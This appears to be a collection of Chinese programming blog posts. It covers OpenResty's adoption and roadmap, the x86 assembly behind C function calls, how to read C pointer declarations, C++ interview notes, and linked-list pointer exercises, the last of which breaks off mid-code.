奇虎和新浪都用 OpenResty 成功替换了之前的技术，但问题还是挺明显，就是大家都认为自己是孤独的使用者，同事中基本没有人认同。在关键和支撑业务上，使用 OpenResty 有些不放心，都会在边缘业务上先做尝试和验证。

虽然 OpenResty 的性能做的很棒，比肩或者超过其他所有的高性能解决方案，但是担心没有学习资料、担心招不到人、担心没人交流，可能还担心作者章亦春哪天撂挑子不干了，这个项目就黄了。

高可用架构群里的各位都是架构师，是技术决策者，在引入一门新技术的时候，肯定会考虑到这些风险。比如小米科技马利超在高可用架构的分享，他们在抢购系统中曾经使用过 ngx_lua，虽然性能满足需求，但是团队里面熟悉的人少，最后还是改成了 Go 语言实现。

如何解决这些担忧？ 社区是有过思考和讨论的，我们放在分享最后讲。先从一个尝试使用这门技术的开发者的角度看，OpenResty 不少基础工作没有完善，友好程度不够：

只能从源码安装，没有 apt-get、brew 等软件仓库安装方法；安装第三方库没有 PIP、NPM 之类的包管理工具，需要去先谷歌，然后拷贝代码文件到指定的目录下，才能 require 使用。

代码编写需要修改 nginx.conf 和对应的 lua 代码，即使是 hello world 也是如此。当然你可以把代码写在 nginx 的配置文件里面，但是生产环境肯定是要分离的。这种编写代码的方式，不像是一个编程语言，和常规的编程方式不同。

有独特的执行阶段概念，因为 OpenResty 是基于 nginx 的，所以也继承它的这种概念。你的代码逻辑，可能需要放在不同的阶段里面运行，才能获取你想要的预期。而这些阶段间信息如何传递，以及哪些 API 不能在某些阶段使用，就会经常拦住新手。

遇到问题只有邮件列表这一种方式来沟通，而邮件列表是被墙的。文档也只有英文版本，导致很多新手的问题无法被解决。

没有系统学习 OpenResty 的手段，大都是业务需要实现什么功能，就去文档和 API 里面去找。至于方式对不对，能不能优化，就不知道了。

而 Lua 语言自身也有一些特别的地方：

下标从 1 开始，这个是和其他编程语言很大的不同。

不区分 array 和 dict ，会导致处理 json 的时候，无法区分 array 和 object。

默认全局变量，需要在所有变量前加 local，忘记的话，可能导致各种难查的 bug。

自带的字符串正则匹配规则和通常的 PCRE 不同，使用的话，学习成本较高。

Lua 标准库和周边库，都是阻塞的，需要自己甄别哪些可以和 OpenResty 搭配使用。新手很容易使用了阻塞的库，而导致性能急剧下降。

有没有好的入门方法？

我们团队正在做这方面的努力，尽量在现有的基础上，降低学习的门槛。 对于新手，可以看 StuQ 上面 OpenResty 的系列视频教程 (http://www.stuq.org/course/detail/1015)，我们计划有 4 季，分别是入门、进阶、实战和源码分析。现在第一季已经上线，第二季正在后期制作。看完前两季，基本上就可以在项目里面用了。

对于已经使用了 OpenResty 的开发者，我们把这两三年遇到的坑，都记录在 GitHub 的OpenResty最佳实践，大家可以当做 cookbook 来使用。

5. nginScript 这样的尝试会替代 OpenResty 吗？

nginScript 是今年 nginx 大会上，Nginx 官方推出的一个新的配置语言。它是模仿了 OpenResty 的做法，把 JavaScript VM 嵌入到 nginx 中，提供简单的 nginx 配置功能。

我们看下它的 hello world：

    locationi / {
        js_run "
            var res;
            res = $r.response;
            res.status = 200;
            res.send("hello world!");
            res.finish();
        "
    }

再对比下 OpenResty 的 hello world：

    location / {
        content_by_lua_block {
            ngx.say("hello world")
        }
    }

看上去差不多，只是 OpenResty 简洁一些。根据 nginx 官方的说明，nginScript 只是想提供一种更方便配置 nginx 的方法，并不想取代 ngx_lua。

考虑到 JavaScript 本身的流行和开发社区的强大，如果未来两三年它从一个简单的 nginx 配置语言，逐渐演变成类似 ngx_lua 这样功能非常完备的开发语言，甚至替代 OpenResty 也是有可能的。

当然，这个前提是 OpenResty 停滞不前。现在 OpenResty 已经有的功能，和计划开发的功能，倾向于覆盖 nginx Plus 的功能。所以 nginx 和 OpenResty 之间，有一个良性的竞争关系，这是大家都乐意看到的。

6. 未来重点解决的问题和新增特性

短期内的目标，是想降低入门的难度：

提供官方二进制发布包。类似于 docker 的安装方法，一行命令，下载一个sh脚本，增加一个源地址，不用手工解决依赖，不用源码编译，直接就可以试用。
而且会发布 Windows 的二进制包，方便这个平台的开发者本机做一些测试。

增加包管理。命令行工具叫 iresty，可以从 iresty.org 上面搜索、安装需要的 lua resty 库，避免找错库或者放错目录。

写一本书《 OpenResty 编程》，这本书会成为官方的入门书籍，框架和关键内容由作者春哥直接操刀，我和社区的其他同学帮助一起完成。

做完上面3点，OpenResty 的入门难度会降低到和其他编程语言一样。

在功能上面，会增加很多激动人心的新特性：

支持 TCP 和 UDP 。Nginx 最新的 stream 子系统已经支持了 TCP，OpenResty 的 ngx_stream_lua 模块正在开发中，会拥有和现有的 nginx http modlue 相同的 lua API，所以很多应用和库，可以不加修改的运行在一个新的子系统上面。

更好的支持推送场景。增加 shared list 共享内存的队列，可以用于 worker 间的通讯；增加 semaphore 特性，用于 ngx_lua 轻量级线程间的通讯。酷狗音乐的推送服务就是基于这些实现的，这些改动点会在这个月并入 master。可以邀请酷狗音乐的同学，来给大家详细分享下里面的细节。

建立一个开源的 WAF 平台。现在阿里云和 cloudflare 的 WAF 做的都很棒，经受住了很多实际的考验。但是都没有开源，我们希望最好的 WAF 是开源的，而且是基于 OpenResty 的。

在 OpenResty 中增加内存数据库。可以有持久化，或者就是全内存的，支持 SQL 的查询。这个也是出于极致性能的考虑，有时候我们还是需要使用 SQL 来做一些复杂的查询，但有不想使用那么重的关系型数据库，而且数据是可以丢失的。那么这个就可以排上用场。

实现 PHP、Python 等方言，让 PHP、Python 等程序员可以用自己喜欢的语言写 OpenResty 的代码，底层转换为 LuaJIT 的字节码。

春哥在 OpenResty 技术大会上面说了非常多的新特性，包括 streaming RegEx 正则引擎等等，非常高端，我挑了几个我觉得有意思的做介绍。

7. 开源社区建设

OpenResty 诞生于 2011 年，大多数时间都是春哥主力在维护这个项目，当然也有很多开发者提交 feature 和 bugfix ，但基本上算单打独斗。

社区有 github 和邮件列表，大部分还是提问的。春哥每天会花费很多的时间，来详细的回答各种基础问题。

今年新增了 QQ 群和微信群， QQ 群的质量很高，每天都会有很多提问，非技术问题是被禁止的。而且还有了自己的技术大会，能给大家面对面交流的机会。

我们翻译了 ngx_lua 的英文文档，能让大家更方便的查找资料；我们搭建了一个不用翻墙就能访问的论坛： bbs.iresty.com，用作提问和知识积累的地方。后面会把谷歌邮件列表的内容同步过来。

只有上面这些是不够的，在 OpenResty 技术大会的第二天，我们召集了一个很小规模的闭门会议，决定成立 OpenResty 咨询委员会。

这个委员会，是以个人名字参加的，成员来自奇虎 360、新浪、又拍云、酷狗音乐等公司和社区的开发者，希望把国内社区的核心使用者和开发者团结在一起，促进 OpenResty 的发展。

同时，OpenResty 软件基金会也开始筹备工作，我们希望走规范的非盈利组织的模式，来保证 OpenResty 长期稳定发展。给开发者和使用者信心，敢于在关键业务上面使用 OpenResty。

Q & A

1、请问 OpenResty 的定位是什么，从分享来看似乎全栈了？

定位主要是高性能，所有的新功能和优化，都是针对性能的。 但是也有人拿来做页面，比如京东；也有人拿来替代 PHP 做 Web server，比如新浪。 我觉得它越来越像一个独立的开发语言。

2、请问 Lua 是不是可以实现动态配置 location？比如动态切流量？

balancer_by_lua 可能是你需要的，你可以用 Lua 来定义自己的负载均衡器，可以在每个请求的级别上去定义，当前访问的后端的节点地址、端口，还可以定制很细力度的访问失败之后的重试策略。

3、OpenResty 是可以拿到 nginx 请求里面的所有信息？那是不是可以做一些更复杂的转发操作？能介绍一下 OpenResty 在 cdn 里面的应用场景吗？

可以看下 iresty.com 的分享，又拍的张聪非常详细的介绍了 OpenResty 在又拍 CDN 的使用。

4、OpenResty 是否修改了 nginx 的源码，还是和 nginx 完全可剥离开的？Nginx 版本升级，OpenResty 也跟着升级吗？例如 nginx 修复漏洞 bug 等情况。

OpenResty 不修改 nginx 的源码，可以跟随 nginx 无痛升级。 如果你觉得 OpenResty 升级慢了， 你可以只拿 ngx_lua 出来，当做 nginx 的一个模块来编译。实际上，OpenResty 在测试过程中，发现了很多 nginx 自身的 bug 。

5、软 WAF nginx + Lua 是主流和未来方向么？

我觉得 WAF 应该基于 nginx，不管是性能还是流行程度。而 OpenResty 具有更灵活操控 nginx 的能力，所以我觉得 OpenResty 在 WAF 领域非常合适。cloudflare 的 WAF 就是基于 OpenResty。

6、看样子未来可能有各种 ngx_xx，最有可能的是 js，不知道这方面有什么前沿的动向？

我们组在尝试把 PHP 嵌入到 nginx 中，当然性能肯定不如 LuaJIT，但是会方便很多 PHP 同学，有进展的话，我们会开源出来 ：）

7、OpenResty 目前看似乎是一个 proxy 的配置框架（糅合了 nginx + Lua），但以后的发展是什么样子？会不会以后更进一步，比如做一个 API gateway 之类的。

OpenResty其实是希望大家忽略 nginx 的存在，直接使用 ngx_lua 提供的 API 实现自己的业务逻辑。更像一门独立的开发语言，只不过底层使用 nginx 的网络库而已。你可以按照你的想法搭建任何好玩的服务端应用出来。
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原文：一段C语言和汇编的对应分析，揭示函数调用的本质


最近网易云课堂开放了一节叫Linux内核分析的课程。一直对操作系统和计算机本质很感兴趣，于是进去看了下，才第一堂课，老师就要求学生写一篇关于课时1的博客作为作业。对于这种新颖的作业形式，笔者相当惊讶。好吧，作为任务，还是完成一下吧，刚好需要消化一下。本文将会按照要求，将一段C语言代码编译成汇编，并给予分析和自己的思考。


首先对会涉及到的一些CPU寄存器和汇编的基础知识罗列一下：



	16位、32位、64位的CPU寄存器名称有所不同，比如指令地址寄存器ip，在16位中叫ip，32位中叫eip，64位叫rip


	32位的汇编指令通常以l结尾，比如movl相当于mov的含义

	
ebp : 堆栈基地址 寄存器，这个寄存器保存的是当前执行绪的栈底地址


	
esp : 堆栈栈顶 寄存器，这个寄存器保存的是当前执行绪的栈顶地址


	
eip : 指令地址 寄存器，这个寄存器保存的是指令所在的地址，CPU会不断的根据eip所指向的指令去内存取指令并执行，并自行累加取下一条指令逐条执行。eip无法直接赋值，call、ret、jmp等指令可以起到修改eip的作用

	
%用于直接寻址寄存器，$用于表示立即数。movl $8, %eax表示把立即数8存到eax中

	
()用于内存间接寻址，比如movl $10, (%esp)表示将立即数10保存到esp所指向的内存地址中

	
8(%ebp)表示先找到 ebp所指向的地址值+8后得到的地址

	栈地址值是向下增长的，即栈顶从高地址向低地址移动



准备工作


准备一段C代码：


int g(int x)
{
    return x+5;
}

int f(int x)
{
    return g(x);
}

int main(void)
{
    return f(10)+1;
}



使用实验楼环境





编译成汇编代码


使用如下命令编译上面的c代码


gcc -S -o main.s main.c -m32



去掉不重要的部分后，得到：





汇编代码结果为：


g:
    pushl   %ebp
    movl    %esp, %ebp
    movl    8(%ebp), %eax
    addl    $5, %eax
    popl    %ebp
    ret
f:
    pushl   %ebp
    movl    %esp, %ebp
    subl    $4, %esp
    movl    8(%ebp), %eax
    movl    %eax, (%esp)
    call    g
    leave
    ret
main:
    pushl   %ebp
    movl    %esp, %ebp
    subl    $4, %esp
    movl    $10, (%esp)
    call    f
    addl    $1, %eax
    leave
    ret



分析


具体的逐步分析，这里就省了，老师课上讲的很详细了，这里主要是要进行思考和归纳。


首先，我们看到3个C函数对应生成了3个部分的汇编代码，分别用函数名作为标号隔开了


int g(int x) -> g:
int f(int x) -> f:
int main(void) -> main:




我们知道程序是从main函数开始执行的，那么当程序被加载并运行时，上面的汇编代码会被加载到内存的某一个区域。而且，CPU中的很多寄存器都会初始化，当然其中最重要的是eip，因为eip是指向下一条将要执行的命令所在的内存地址，所以此时的eip应该指向main标号下的pushl %ebp：


main:
eip ->  pushl %ebp



程序开始执行...


我们捆绑着看，首先先看这两条：


pushl   %ebp
movl    %esp, %ebp



再观察一下整个代码，有没有发现不仅仅是main函数，函数f和g的开头也是这两个指令。分析一下，不难得出，这两条指令是指将当前栈基地址压栈后，重新将基地址定位到栈顶，这个含义其实是保存好当前的基地址，重新开始一个新的栈。由于函数可以调函数，这里的当前基地址，实际上是上一个函数的栈基地址。例如，在f函数中的这两句指令，实际上保存的是main函数的栈基地址。


接着来分析两句：


subl    $4, %esp
movl    $10, (%esp)



对照C代码不难发现，这是参数进栈，将立即数10，保存到栈顶(esp所指向的内存地址是栈顶)。而在f函数中也可以发现类似的语句：


subl    $4, %esp
movl    8(%ebp), %eax
movl    %eax, (%esp)



所以，我们可以得出结论是，在调用函数前需要把参数逐个压栈，而压栈的顺序根据笔者的测试是从右向左的。


接着调用call指令，跳转到f函数，我们知道call指令等同于下面的伪代码：


pushl %eip+1
movl %eip f



即把call指令的后一条指令进栈后，将eip赋值为目标函数的第一个指令地址。这样做显而易见：当所调用的函数结束后，需要返回当前函数继续执行，所以必须要保存下一条指令，否则回来的时候就找不到了。


来到f函数，首先是保存main函数的栈基地址，然后需要调用g函数，于是需要参数先进栈：


subl    $4, %esp
movl    8(%ebp), %eax
movl    %eax, (%esp)



这里重点思考一下，f函数是如何获得main函数传递过来的参数的，我们看到


movl    8(%ebp), %eax



为什么参数是从8(%ebp)中获得的呢？我们知道8(%ebp)表示的是以ebp为基准向栈底回溯8个字节得到，为什么是8个字节呢？


回想一下，在main函数中完成了参数进栈后做了两件事情：



	由于call f指令的作用，call f下一条指令的地址被压栈了，这占用率4个字节

	进入f函数后，立即将main函数的栈基地址进栈了，而且将ebp靠向了栈顶esp，这又占用了4个字节



于是通过8(%ebp)可以找到前一个函数的第一个整型参数的值。


一张图告诉你怎么回事：





看过了进入函数，调用函数的过程，再看一下函数是如何退出的。观察main和f不难发现，退出函数使用的是如下指令


leave
ret



leave指令相当于如下指令：


movl    %ebp, %esp
popl    %ebp




	第一条语句是将esp重置到ebp，可以理解为清空当前函数所使用的栈

	第二条语句是将栈顶值赋值给ebp，并弹出，栈顶值是什么呢？通过上面的分析不难发现，此时的栈顶值实际上是前一个函数的栈基地址，所以第二条语句的意思就是把ebp恢复到前一个函数的栈基地址



接着ret就是相当于，恢复指令指向：


popl %eip




  为什么g函数没有leave呢？因为g函数内部没有任何的变量声明和函数调用栈一直都是空的，所以编译器优化了指令




总结


最后，通过这个例子，总结一下函数调用的过程：


进入函数：



	当前栈基地址压栈(当前栈基地址实际上是前一个函数的栈基地址)



调用其他函数：



	参数从右到左进栈

	下一条指令地址进栈



退出函数：



	栈顶esp归位，回到本函数的ebp


	基地址回退到上一个函数的基地址

	
eip退回到上一个函数即将要执行的那条语句的地址上
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基础

指针是一个变量，它的值是内存地址。

指针的类型，就是从指针所指的值的类型。

指针所指的值，就是存储于内存中的数据片段，这个数据片段的长度由指针的类型来决定。这个数据片段的起始位置就是指针的值。

常量指针与指针常量

const int *p，请和我一起念：


	p 是一个变量；


	*p 是一个指针（变量）；


	int *p 是一个指针，指向一个整型值；


	const int *p 是一个指针，指向一个整型值，这个整型值是一个常量。




这种指针类型的变量叫做常量指针，它指向一个常量。这就意味着，这个指针所指的值（内存中某种类型的数据）不可以被修改，但是这个指针的值（内存地址）是可变的。

int * const p，请和我一起念：


	p 是一个变量；


	const p 是一个不变的变量（常量）；


	* const p 是一个不变的指针；


	int * const p 是一个不变的指针，它指向一个整型值。




这样的指针就叫做指针常量，它的值（内存地址）不可以被改变，但是它所指向的值（内存中某种类型的数据）可变的。

发现规律了么？规律就是从右向左念。

数组指针与指针数组

int *a[4]，请和我一起念：


	[4] 是包含 4 个元素的数组；


	a[4] 是包含 4 个元素的数组，这个数组的名字叫  a；


	*a[4] 是包含 4 个指针类型的元素的数组，这个数组的名字叫 a；


	int *a[4]，是包含 4 个指向整型值的指针类型的元素的数组，这个数组的名字叫 a。




这样的数组，叫做指针数组，因为它的元素是指针类型。

发现规律了么？规律就是从右向左念。

int (*a)[4]，请和我一起念：


	() 是一对括号，它从屏幕里伸了出来，以至于我们首先看到了它；


	(*a) 括号里有一个指针；


	(*a)[4] 括号里有一个指针，这个指针指向包含 4 个元素的数组；


	int (*a)[4] 括号里有一个指针，这个指针指向一个包含 4 个整型值的数组。




这样的指针，叫做数组指针，因为它指向的是一个数组类型。

发现规律了么？规律就是从右向左念，但是先念括号里的，然后再从右向左念。将括号想象成是一根从屏幕里伸出来的柱子，我们看到了它在屏幕上的投影。

返回指针的函数与函数指针

int *a(char *s)，请和我一起念：


	() 是一根柱子，从屏幕里伸了出来；


	(char *s) 是一根柱子，它的顶面有 char *s，C 编译器将这样的柱子称为函数，尽管 C 语言里并没有匿名函数；


	a(char *s) 是一个函数，这个函数的名字 a；


	*a(char *s) 函数 a 返回指针；


	int *a(char *s) 函数 a 返回整型指针。




这种函数，叫做返回指针类型的函数。

int (*a)(char *s)，请和我一起念：


	(*a) 是一个指针，与数组指针里的那个 (*a) 没什么本质上的不同；


	(*a)(char *s) 是一个指针，它指向一个函数；
*int (*a)(void) 是一个指针，它指向一个函数，这个函数返回 int。




这种指针，叫做指向函数的指针，简称函数指针。

发现规律了么？规律就是先看有没有柱子。如果有多根柱子，那么就从左向右看这些柱子，将每根柱子所代表的东西念出来，然后再从右向左念。

自定义类型

typedef int MyInt，请和我一起念：


	MyInt 是我们自定义的一个类型，这个类型的名字叫 MyInt；


	typedef int MyInt，是我们自定义的一个类型，这个类型的名字叫 MyInt，它对应于 C 语言内建的 int 类型。




编译器在遇到 MyInt 类型时，就会将它替换为 int。

发现规律了么？规律就是从右向左念，右边第一个出现的『单词』就是我们要定义的类型名，然后这个单词与 typedef 之间的部分，就是这个类型名所对应的类型。

typedef int (*MyFunc) (void)，请和我一起念：


	MyFunc 是我们自定义的一个类型，这个类型的名字叫 MyFunc；


	typedef int (*MyFunc) (void) 是我们自定义的一个类型，这个类型的名字叫 MyFunc，它对应于一个指针类型 int (*) (void)，这种类型的指针指向一种函数类型 int (void)，这个函数类型是接受 void，返回 int。




发现规律了么？规律就是先看柱子，如果有多根柱子，那么最左边的柱子所代表的东西就是我们要定义的类型名，然后这个类型名与 typedef 之间的部分（从柱子的顶端往下看，然后再从右向左看）就是这个类型名所对应的类型。

有一个问题，上例中的 (*MyFunc) 柱子，为什么类型名是 MyFunc，而不是 *MyFunc？因为在 C 语言代码中，无论类型还是变量，它们的名字只能由字母、下划线、数字构成，并且只能以字母或下划线开头。

后记：来个复杂一些的

有个哥们在评论中嫌我说的太简单，那么就来个稍微复杂一些的：

void (*a(int b, void (*c)(int d)))(int e);

请和我一起念：


	
(*a(int b, void (*c)(int d))) 是最左边的柱子，柱子的顶面是 *a(int b, void (*c)(int d))；


	(int b, void (*c)(int d)) 是一个函数，它接受两个参数，一个是整型变量 int b，一个是函数指针 void (*c)(int d)；


	a(int b, void (*c)(int d)) 是一个函数，它接受两个参数，一个是整型变量 int b，一个是函数指针 void (*c)(int d)，这个函数的名字叫 a；


	*a(int b, void (*c)(int d)) 是一个函数，它接受两个参数，一个是整型变量 int b，一个是函数指针 void (*c)(int d)，这个函数的名字叫 a，它返回一个指针；






	(*a(int b, void (*c))(int d))(int e) 是一个函数，它接受两个参数，一个是整型变量 int b，一个是函数指针 void (*c)(int d)，这个函数的名字叫 a，它返回一个指针，这个指针指向一个函数，而这个函数接受 int e；


	void (*a(int signum, void (*b))(int e)) 是一个函数，它接受两个参数，一个是整型变量 int b，一个是函数指针 void (*b)(int)，这个函数的名字叫 a，它返回一个指针，这个指针指向一个函数，而这个函数接受 int e，返回 void。




也就是说，这是一个返回函数指针的函数，这是 C 语言版本的『高阶函数』。

发现规律了么？规律就是上面那些规律的组合。


 关于面试，那些我完全不知道的知识

作者：spacelan

来源： 关于面试，那些我完全不知道的知识



                    
这里记录一下在找工作前的复习过程中那些让我怀疑我是不是真的学过计算机的知识点。。



C/C++

cout的格式化输出

cout << boolalpha << (1 == 2);

输出false
参考链接：http://www.cnblogs.com/devymex/archive/2010/09/06/1818754.html

const与指针

const在*的左侧，如 const int *a或int const *a，不能改变指针a指向的内容的值
const在*的右侧，如 int* const a，指针a本身为常量，不能改变a的指向

个人觉得把const放在类型符号后边意义更明确一些。。

mutable与const

在类中，修饰为mutable的成员变量可以被修饰为const的成员函数修改

class A {
 public:
  mutable int a;
  void set_a(int n) const {
    a = n;
  }
};

sizeof括号内的秘密

sizeof()结果由编译时确定，()内代码不被执行

int a = 0;
sizeof(a = 1);

a的值不会被改变

指针和引用的区别与联系

注意，引用也是要占用内存空间的，内容是被引用的变量的地址，同指针一样

struct st1
{
	int a;
	int &b;
	st1(int n) : a(n), b(a) {}
};

struct st2
{
	int a;
	int *b;
	st2(int n) : a(n), b(&a) {}
};

st1 s1(10);
st2 *ps2 = reinterpret_cast<st2*>(&s1);
cout << *(ps2->b); // 10

参考链接：http://blog.csdn.net/thisispan/article/details/7456169

指针数组，还是数组指针，还是函数指针数组，还是。。

int *a[10];//包含十个元素的数组，数组元素是整型指针
int *(a[10]);//同上
int (*a)[10];//指向具有十个整型元素的数组的指针
int (*a)();//指向无参数且返回整型的函数的指针
int (*a[10])();//包含十个元素的数组，数组元素是指向无参数且返回整型的函数的指针
int (**a)[10];//指向一维数组指针的指针，数组具有十个整型元素
int *(*a)[10];//指向一维数组的指针，数组具有十个整型指针元素
int (*(*a)(int))();//指向具有一个整型参数且返回函数指针的函数的指针，返回的函数指针指向无参数且返回整型的函数

数组名取址？

int a[5] = {1, 2, 3, 4, 5};
int *p = (int*)(&a + 1);
cout << (int)*(p - 1);

输出为5
数组名a是指向数组第一个元素的指针，&a是指向数组的指针，虽然两个指向同一个地址，但是&a + 1实际上是将指针向后移动了sizeof(a)，也就是20个字节，与a + 1移动一个字节不同
在这里p类似于二维数组

this指针从哪来

this指针实际上是类成员函数的第一个参数，由编译器自动添加，通过寄存器传递，整个生命周期同函数参数一致

容器与迭代器

删除vector等连续空间的容器元素后，相应迭代器会失效

struct与class

struct与class除了默认访问控制不同以外，其他完全相同。
struct默认访问控制是public，class默认访问控制是private

构造函数初始化列表

除开父类构造函数，成员变量初始化按照成员变量在类中申明的顺序执行，与初始化列表顺序无关

类与内联函数

除了虚函数和静态成员函数，其他函数可以是内联的，包括构造函数和析构函数。
事实上，如果成员函数在类申明中定义，那么默认是内联的。类申明外定义的函数可以用inline修饰为内联的。但需要注意的是，内联函数是内部链接的，只能在本文件内被调用。

//A.h
class A {
 public:
  A() { cout << "A()" << endl; }
  inline virtual ~A() { cout << "~A()" << endl; }
  inline void func1() { cout << "func1" << endl; }
  void func2();
};

//A.cc
inline void A::func2() { cout << "func2" << endl; }

//main.cc
A *a = new A;
a->func1();
a->func2();// 编译失败
delete a;

看起来好像复制构造函数

class A {
 public:
  int m;
  A(int n) : m(n) {}
  A(float n) : m(n * 2) {}
};

A a = 10;  // a.m == 10
A a = 10.0;// a.m == 20

单个参数的函数如果不添加explicit，会发生隐式的类型转换

私有继承与保护继承

私有继承与保护继承的派生类不能称为子类，因为派生类并不能完成父类能做的所有事情

虚继承与多重继承

参考链接：http://www.oschina.net/translate/cpp-virtual-inheritance

类申明的几个技巧

如何让一个类不能被实例化？

将构造函数申明为private或纯虚类（抽象类）

如何让一个类只能在堆上实例化？

将析构函数申明为private

如何让一个类只能在栈上实例化？

重载new运算符为private

如何让一个类的对象不能被复制？

将复制构造函数和赋值函数声明为private，或者声明为 = delete

如何让一个类不能被继承？

加final关键字
其他方法：http://blog.chinaunix.net/uid-26983585-id-4373697.html

四种cast

static_cast

static_cast和C语言里的强制类型转换相似，不过编译时会做类型检查，只有相关的类型才能转换，否则编译错误

dynamic_cast

dynamic_cast在程序运行时根据对象的虚表进行向上或者向下转换。转换指针失败时，返回nullptr，转换引用失败时，抛出异常
然而Google并不建议使用dynamic_cast，参考：http://www.zhihu.com/question/22445339

const_cast

const_cast去除对象的只读属性

reinterpret_cast

reinterpret_cast不做二进制转换，仅仅是重新解释二进制块，常常用在偏底层的操作上，可移植性稍弱

成员函数与对象

class A {
 public:
  static int m;
  int n;
  void func1() { cout << this << ' ' << m << endl; }
  void func2() { cout << this << ' ' << n << endl; }
  static void func3() { cout << m << endl; }
};
int A::m = 10;

A *a = 0;
a->func1();// 0 10
a->func2();// crash
a->func3();// 10
A::func3();// 10

如果对象指针指向错误的地址，对象成员函数仍然可以被调用，但是不能访问非静态成员变量。这里同时也将静态成员函数拿出来比较。
想一想，假如成员函数是虚函数，结果还会一样么？

位域

struct A {
  int a:1;
  int b:2;
  int c:3;
};

cout << sizeof(A);// 4

参考链接：http://www.cnblogs.com/bigrabbit/archive/2012/09/20/2695543.html

static的三个域


	模块


	函数


	类




起到的作用有什么异同

volatile

volatile关键字告诉编译器不要优化被它修饰的变量，这个变量可能在编译器控制范围外发生改变，比如中断或者其他线程
注意下面这个例子

int func(volatile int *p) {
  // return (*p) * （*p); // wrong
  int temp = *p;
  return temp * temp;
}

变量提升

不同类型的变量参与混合运算时，所有变量将会转换为同一类型，为了不丢失精度，总是转换为长度更长的变量
在32位机器上，char，short总是转换为int，float总是转换为double
一般情况下，不用关注转换的问题，但是考虑下面一个例子：

signed char a = 0xe0;
unsigned int b = a;
cout << int(a) << ' ' << b;

结果 -32 4294967264
因为在a赋值给b时，a要提升为32位的unsigned int型。然而a是负数，在提升长度时高位将用1来补全，于是a被提升为0xffffffe0。赋值后，b的值为0xffffffe0，所以作为无符号整型输出为4294967264

const成员变量初始化

const成员变量必须在构造函数初始化列表中被初始化。

class A {
 public:
  const int m;
  A(int n) : m(n) {}
};

static const成员变量可以在声明时初始化

class A {
 public:
  static const int m = 0;
  A(int n) {}
};

static成员变量不能在声明时初始化，也不能在构造函数初始化列表中初始化，只能在类外申明并初始化

C++ 11已经支持非静态（static const例外）成员变量声明时初始化，自定义类型不能执行带参数的构造函数

函数调用方式

C和C++程序中，函数的调用有多种方式，可以通过在函数声明时加上__stdcall，__cdecl，__fastcall来显式指定
不同的函数调用方式体现在参数传递方式，编译后函数命名方式，函数返回时栈清理方式的不同。
参考链接：http://www.cnblogs.com/zhangchaoyang/articles/2725189.html

变长参数

简单的说，具有变长参数的函数在调用时（__cdecl方式），编译器按正常的方式将参数从右到左入栈，函数内部再通过指针根据参数类型依次从栈中将参数取出

以printf("%c,%d", 'A', 10);举栗
因为参数从右到左进栈且栈是从高地址到低地址生长的，所以此时内存是这样的：

低地址<<|    4 byte   | 1 byte | 4 byte |>>高地址
        |"%c,%d"的地址|  'A'   |   10   |

首先printf函数的第一个参数不是变长参数，这里我们假设这个参数叫str，它是指向"%c,%d"的指针。有了str，我们自然就知道了变长参数的起始地址是&str+1，然后再根据"%c,%d"，我们知道了变长参数有两个而且类型分别为char和int，于是我们就可以依次得到这两个变量辣
参考链接：http://www.cnblogs.com/chinazhangjie/archive/2012/08/18/2645475.html

改变const变量的值

通过const_cast可以去除read-only属性，但是编译时编译器仍将使用到const变量的地方直接替换为初始化的那个值，类似于宏

int const a = 1;
int *p = const_cast<int*>(&a);
*p = 2;
cout << a << " " << *p; // 输出： 1 2

如何重写基类虚函数

加override，貌似又是C++ 11的关键字

class A {
 public:
  virtual void func(int n);
}

class B : A {
 public:
  virtual void func(int n); // 不要这样，如果参数写错了，相当于声明了重载函数
  void func(int n); // 同上
  void func(int n) override; // 强制重写基类函数，如果参数或返回值与基类虚函数不一致，编译器报错
}

未完......


 谈指神通

作者：pezy

来源： 谈指神通



                    
都说指针是 C 语言的灵魂，其实这是由几个重量级的数据结构决定的，如最基础却又最重要的：链表与二叉树两位元老，所有操作几乎都依赖指针。


可谓是：无指针者，无链表与二叉树也


想象一下，没有链表与二叉树，计算机世界将如何存在？


当然，数组的本质也是指针，但藏得较深，大家用脚标得过且过，倒也怡然自得。




若只论链表与二叉树，链表又更容易将指针指的出神入化，二叉树稍逊，一个 left, 一个 right 的二次元世界，弄不出什么花来。


所以想要把握指针的灵魂，练就一身弹"指"神通的俊功夫，还得多练练链表。


下面，我就随意截取几道经典的链表问题，陪诸君练练手。（为简化问题，凸显实质，皆为单链表）


cppstruct ListNode {
    int val;
    ListNode *next;
    ListNode(int x) : val(x), next(nullptr) {}
};





链表的逆


 1->2->3->4->5
 ^
 root



想要逆序，最直接的想法，就是希望上图中的链表指向反过来。我们借用一个空指针 node 指向一个空节点:


 1->2->3->4->5 | ListNode* reverse(ListNode *root) {
 ^             |      ListNode *node = nullptr;    
 root          | }
               |
 null          |
 ^             |
 node          |



第一步，我们希望节点1从单链表中剥离，于是让其指向 node, 但我们不能因此而找不到链表索引，故需要一个额外的指针 next, 指向后续节点：


 2->3->4->5    | ListNode* reverse(ListNode *root) {
 ^             |      ListNode *node = nullptr;   
 root          |      ListNode *next = root->next;     // next refer to 2
               |      root->next = node;               // root point to node
 1->null       |      node = root;                     // node refer to root(1)
 ^             |      root = next;                     // root refer to next(2)
 node          | }



几个简单的指针转移，便将节点1反向的去指向了 node 节点。如法炮制的话，节点2, 节点3, 节点4, 节点5 都调转枪头，我们的目的便达到了。


cppListNode* reverse(ListNode *root) {
     ListNode *node = nullptr;
     while (root) {
          ListNode *next = root->next;
          root->next = node;
          node = root;
          root = next;
     }
     return node;
}





链表除重


1->1->2->2->3->4
^
head
cur



如果用一个指针 cur 来指向当前节点的话，出现重复的条件即为：cur->value == cur->next->value，如上图中，1 与 1 是重复的。我们只要想办法去掉重复的那个 1 即可。


1->1->2->2->3->4    |  if (cur->val == cur->next->val) {
^  ^  ^             |      ListNode *next = cur->next->next;
cur   next          |      delete cur->next;
|     ^             |      cur->next = next;
|_____|             |  }



这个思路简单，易懂，但这个问题却又是很多复杂问题的基础。还是需要注意的。


cppListNode *removeDuplicates(ListNode *head) {
    if (head == nullptr) return head;
    for (ListNode *cur=head; cur->next; )
        if (cur->val == cur->next->val) {
            ListNode *next = cur->next->next;
            delete cur->next;
            cur->next = next;
        } else { cur = cur->next; }
    return head;
}





链表合并


1->2->3
^
a
            ==>    1->4->2->5->3->6
4->5->6            ^
^                  new_list
b



这个问题本身非常简单，但想通过这个基本问题，引申出链表问题一个非常常见的技巧。即设立 dummy 节点，可以称为是傀儡节点，其作用在于让合成的新链表有一个着手点。这个节点的值可以随意，我们最终返回的，实际上是 dummy.next;


     a ------>         | while (a && b) {
0 -> 1   2   3         |     tail->next = a;
